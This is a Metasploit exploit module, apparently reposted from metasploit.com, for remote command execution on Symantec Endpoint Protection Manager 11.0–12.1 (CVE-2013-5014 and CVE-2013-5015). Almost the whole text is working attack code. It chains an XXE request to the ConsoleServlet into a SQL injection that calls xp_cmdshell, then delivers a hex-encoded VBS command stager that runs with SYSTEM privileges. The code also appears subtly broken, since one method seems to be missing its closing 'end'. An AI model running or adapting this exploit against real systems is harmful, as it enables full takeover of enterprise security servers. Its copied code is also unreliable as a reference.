Symantec Endpoint Protection Manager Remote Command Execution

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Symantec Endpoint Protection Manager Remote Command Execution

来源：metasploit.com 作者：xistence 发布时间：2014-02-27

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include REXML

include Msf::Exploit::CmdStagerVBS

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',

'Description' => %q{

This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager

versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker

can reach SQL injection affected components. As xp_cmdshell is enabled in the included

database instance, it's possible to execute arbitrary system commands on the remote system

with SYSTEM privileges.

},

'Author' =>

[

'Stefan Viehbock', # Discovery

'Chris Graham', # PoC exploit

'xistence <xistence[at]0x90.nl>' # Metasploit module

],

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2013-5014' ],

[ 'CVE', '2013-5015' ],

[ 'EDB', '31853'],

[ 'URL',

'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt'

]

],

'Arch' => ARCH_X86,

'Platform' => 'win',

'Targets' =>

[

['Windows VBS Stager', {}]

],

'Privileged' => true,

'DisclosureDate' => 'Feb 24 2014',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(9090),

OptString.new('TARGETURI', [true, 'The base path', '/'])

], self.class)

end

def check

res = send_request_cgi(

{

'uri' => normalize_uri(target_uri.path),

'method' => 'GET',

})

if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/

return Exploit::CheckCode::Appears

end

Exploit::CheckCode::Safe

end

def exploit

print_status("#{peer} - Sending payload")

# Execute the cmdstager, max length of the commands is ~3950

execute_cmdstager({:linemax => 3950})

end

def execute_command(cmd, opts = {})

# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.

command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"

# Generate random 'xx032xxxx' sequence number.

seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"

soap = soap_request(seqnum, command)

post_data = Rex::MIME::Message.new

post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")

xxe = post_data.to_s

res = send_request_cgi(

{

'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),

'method' => 'POST',

'vars_get' => { 'ActionType' => 'ConsoleLog' },

'ctype' => "multipart/form-data; boundary=#{post_data.bound}",

'data' => xxe,

})

if res and res.body !~ /ResponseCode/

fail_with(Failure::Unknown, "#{peer} - Something went wrong.")

end

def soap_request(seqnum, command)

randpayload = rand_text_alpha(8+rand(8))

randxxe = rand_text_alpha(8+rand(8))

entity = "<!ENTITY #{randpayload} SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?"

entity << "ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"

xml = Document.new

xml.add(DocType.new('sepm', "[ METASPLOIT ]"))

xml.add_element("Request")

xxe = xml.root.add_element(randxxe)

xxe.text = "PAYLOAD"

xml_s = xml.to_s

xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding

xml_s.gsub!(/PAYLOAD/, "&#{randpayload};") # To avoid html encoding

xml_s

end

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